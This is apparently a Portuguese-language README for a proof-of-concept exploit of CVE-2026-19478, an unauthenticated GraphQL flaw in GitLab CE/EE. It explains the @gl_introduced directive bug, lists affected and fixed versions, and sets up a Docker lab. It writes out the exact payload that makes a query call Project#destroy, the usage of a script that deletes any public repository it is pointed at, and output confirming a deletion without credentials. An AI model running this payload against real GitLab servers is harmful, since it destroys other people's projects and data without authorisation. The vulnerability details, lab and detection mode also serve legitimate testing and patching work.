
Prova de conceito de exploit para CVE-2026-19478, uma injeção GraphQL não autenticada no GitLab CE/EE que permite invocação arbitrária de métodos e exclusão de projetos.
★ CVE-2026-19478 GitLab GraphQL @gl_introduced PoC de invocação arbitrária de método não autenticada ★
https://github.com/user-attachments/assets/bb5d5f8a-a9bf-4148-854b-14c25c501d4b
CVE-2026-19478 é uma vulnerabilidade de manipulação/exclusão de dados não autenticada no GitLab CE/EE (CVSS 9.4). O GitLab inclui uma diretiva de cliente GraphQL
@gl_introduced(version: "X.Y.Z")para compatibilidade futura em implantações contínuas. Quando uma consulta nomeia um campo com uma versão mais recente que a do servidor em execução, um rastreador o remove antes da validação estática, de modo que a consulta é validada; em seguida, na execução, o campo desconhecido é resolvido por um campo de fallback que não possui resolver. No graphql-ruby, um campo sem resolver é resolvido chamandoobject.public_send(field_name)— portanto, o cliente pode nomear um campo igual a qualquer método sem argumentos no objeto atualmente resolvido, e o servidor o invoca. Resolver um projeto público e solicitar um "campo futuro" chamado executa, portanto, — excluindo um projeto público (ou modificando dados de usuário) .
destroyProject#destroy| Categoria | Versão |
|---|---|
| Vulnerável | GitLab CE/EE 18.2 – 18.11.10, 19.0.0 – 19.0.7, 19.1.0 – 19.1.5, 19.2.0 – 19.2.3 |
| Corrigida | 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 ou posterior |
Resolvers::NilResolver (retorna nil, nunca invoca um método)Compile e execute o GitLab vulnerável. Ele auto-semeia um repositório público victim/demo que você
pode excluir sem autenticação. O GitLab leva ~3–5 minutos para concluir a reconfiguração e a semeadura.
docker build -t cve-2026-19478 .
docker run -d --name cve-2026-19478 --shm-size 256m -p 3000:80 cve-2026-19478
| Pré-condição | Estado neste laboratório |
|---|---|
| GitLab 18.2 – 19.2.3 | 19.2.2 |
| Um projeto público acessível anonimamente | victim/demo (semeado) |
| Endpoint GraphQL não autenticado acessível | /api/graphql exposto |
O exploit gitlab_exploit.py exclui qualquer repositório público para o qual você o aponte, sem
credenciais. Ele envia o payload @gl_introduced que transforma o nome do campo GraphQL destroy
em uma chamada Project#destroy e, em seguida, confirma a exclusão via API REST (404).
# python3 gitlab_exploit.py <ip:porta do alvo> --repo <grupo/nome>
python3 gitlab_exploit.py 172.17.0.2:3000 --repo victim/demo
[*] alvo .......... http://172.17.0.2:3000
[*] ANTES (REST) .. GET /api/v4/projects/victim/demo -> HTTP 200 (existe)
[*] PAYLOAD (sem auth) { project(fullPath:"victim/demo"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] resposta ...... {"project": {"id": "gid://gitlab/Project/1", "destroy": true}}
[*] aguardando a exclusão assíncrona terminar ...
[+] DEPOIS (REST) . GET /api/v4/projects/victim/demo -> HTTP 404
[!] SUCESSO - a solicitação NÃO AUTENTICADA EXCLUIU 'victim/demo'. CVE-2026-19478 comprovado.
Opções:
--detect — verificação segura e não destrutiva (invoca o método inofensivo to_param em vez de destroy)--repo grupo/nome — alvo qualquer projeto público na instância--insecure — ignora a verificação TLS para alvos https://@gl_introduced / o caminho de filtro de versão em um proxy reverso, ou restrinja o acesso não autenticado a /api/graphql